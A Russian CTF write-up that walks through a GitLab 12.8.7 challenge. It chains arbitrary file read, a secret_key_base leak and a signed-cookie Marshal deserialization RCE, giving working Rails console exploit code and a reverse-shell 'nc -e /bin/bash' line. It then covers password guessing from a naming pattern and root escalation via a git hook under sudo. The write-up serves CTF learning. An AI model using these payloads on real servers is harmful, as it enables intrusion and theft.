Событие | Название | Категория | Сложность |
---|---|---|---|
VKA-CTF`2020 | Отечественный контроль | HTB | ВЫПУСК/1-3 курс |
Автор: [ 𝕂𝕣𝕒𝕦𝕤𝕖 ]
Один очень уважаемый полковник недавно очень неудачно съездил на отдых в Крым. Как итог - все его репозитории на сайте github были заблокированы. Не очень долго думая, он решил поднять собственную систему контроля версий. Ну как поднять, просто поставил задачу своему подчиненному. Осталось только проверить как хорошо он с ней справился.
При входе на сайт видим gitlab сервер. Мы можем узанть его версию на /help
GitLab Community Edition 12.8.7
На HackerOne есть отчёт, в котором сказано, что данная версия уязвима к произвольному чтению файлов сервера.
Согласно отчёту необходимо выполнить следующие действия:
- Создать два проекта
- Добавить в первый проект issue со следующим примечанием:

- Переместить созданный issue во второй проект
- Перейти во второй проект и прочитать файл
Таким образом мы имеем произвольное чтение файлов. Используем это, чтобы получить RCE
-
Нам необходимо узнать секретный ключ сервера. Читаем файл
/opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml
и сохраняем себе ключ:secret_key_base: b15392...
-
Далее удостоверяемся, что на сервере установлен сериализатор
:hybrid
Читаем файл/opt/gitlab/embedded/service/gitlab-rails/config/initializers/cookies_serializer.rb
и проверяем строчкуRails.application.config.action_dispatch.cookies_serializer = :hybrid
-
Следующим шагом необходимо поднять
gitlab
этой же версии у себя и поменять у него секретный ключ, который мы получили в шаге1
-
Внутри вашего GitLab контейнера (если вы использовали
docker
, чтобы поднятьgitlab
) запускаемrails console
и выполняем следующие команды:
> gitlab-rails console
request = ActionDispatch::Request.new(Rails.application.env_config)
request.env["action_dispatch.cookies_serializer"] = :marshal
cookies = request.cookie_jar
erb = ERB.new("<%= `your_command_here` %>")
depr = depr = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(erb, :result, "@result", ActiveSupport::Deprecation.new)
cookies.signed[:cookie] = depr
puts cookies[:cookie]
Чтобы получить Reverse Shell
можно воспользоватся командой nc -e /bin/bash URL PORT
- После выполнения последней команды вы получите
cookie
. Используем их, чтобы отправить запрос наgitlab
и выполнить команду:
curl 'https://gitlab.vkactf.tk/' -b "remember_user_token=КУКА_ЗДЕСЬ"
Используя обратную оболочку, мы будем выполнять команды от имени поьзователя git
Создав свой аккаунт на gitlab
, можно найти публичный репозиторий secret-project
. В одном из его issues указана ссылка на репозиторий github, которая нам недоступна. Пробуем найти имя C0mr4d3NeR4d
в соцсетях. Находим в Twitter
На этой странице последний пост указывает на репозиторий на gitlab. Изучив немного код, можно заметить, что все пароли созданы по шаблону servicename_aka47
Пробуем использовать этот шаблон для доступа к пользователям comrade
и cadet
на gitlab
сервере. Пароль cadet_aka47
не подошёл, зато подошёл comrade_aka47
. Заходим с этим паролем за пользователя comrade
и получаем первый флаг
Флаг:
vka{c00l_4rb17r4ry_f1l3_r34d}
Пользователи comrade
и cadet
имеют общую группу. Заходим в домашнюю папку пользователя cadet
и находим тот самый открытый репозиторий secret-project
Нам досутпно выполнение команд git
от имени суперпользователя без пароля
> sudo -l
(ALL) NOPASSWD: /usr/bin/git
Мы не можем взаимодействовать с удалённым репозиторием, так как не знаем пароль пользователя.
GIT
имеет хуки, которые выполняются после/до определённых команд. Таким образом, мы может создать хук
, который выполнится, например, до команды git commit
В директории .git/hooks/
создаём файл pre-commit
с правами 755
и записываем в него код, который исполнится от имени суперпользователя, например
#!/bin/bash
cat /root/root.txt
Создаём какие-либо изменения, добавляем их в отслеживание, выполняем коммит и получаем флаг
Флаг:
vka{c00l_pr1v1l463_35c4l4710n}